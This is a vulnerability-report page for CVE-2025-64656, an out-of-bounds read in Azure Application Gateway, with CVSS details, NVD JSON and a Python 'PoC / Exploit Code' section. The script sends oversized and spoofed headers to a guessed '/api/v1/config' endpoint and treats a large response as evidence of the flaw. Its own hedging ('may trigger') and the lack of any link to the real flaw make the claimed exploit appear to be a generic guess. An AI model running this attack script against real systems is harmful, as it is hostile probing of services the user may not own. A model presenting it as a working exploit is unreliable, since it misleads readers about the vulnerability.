Security Vulnerability Report
中文
CVE-2025-64656 CVSS 9.4 CRITICAL

CVE-2025-64656

Published: 2025-11-26 01:16:07
Last Modified: 2025-12-08 15:16:24

Description

Out-of-bounds read in Application Gateway allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_application_gateway:-:*:*:*:*:*:*:* - VULNERABLE
Azure Application Gateway - 所有未安装安全更新的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64656 PoC - Out-of-bounds read in Application Gateway # Target: Microsoft Azure Application Gateway def exploit_oob_read(target_url): """ Exploit for CVE-2025-64656: OOB read vulnerability This PoC demonstrates sending a crafted request that may trigger the out-of-bounds read condition in Application Gateway. """ headers = { 'User-Agent': 'Mozilla/5.0', 'X-Forwarded-For': '127.0.0.1', 'X-Original-URL': '/admin/config' } # Crafted payload with oversized header value # May trigger OOB read when processed by Application Gateway oversized_payload = 'A' * 10000 headers['X-Custom-Header'] = oversized_payload # Target the affected endpoint target = f"{target_url}/api/v1/config" try: print(f"[*] Sending crafted request to {target}") response = requests.get(target, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response headers: {response.headers}") # Check for signs of OOB read (unusual response size) if len(response.text) > 8000: print("[!] Potential OOB read detected - unusual response size") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") sys.exit(1) target_url = sys.argv[1] exploit_oob_read(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64656", "sourceIdentifier": "[email protected]", "published": "2025-11-26T01:16:07.127", "lastModified": "2025-12-08T15:16:23.667", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Application Gateway allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_application_gateway:-:*:*:*:*:*:*:*", "matchCriteriaId": "51AE4F30-4F31-489A-B966-65A448A1D3C1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64656", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}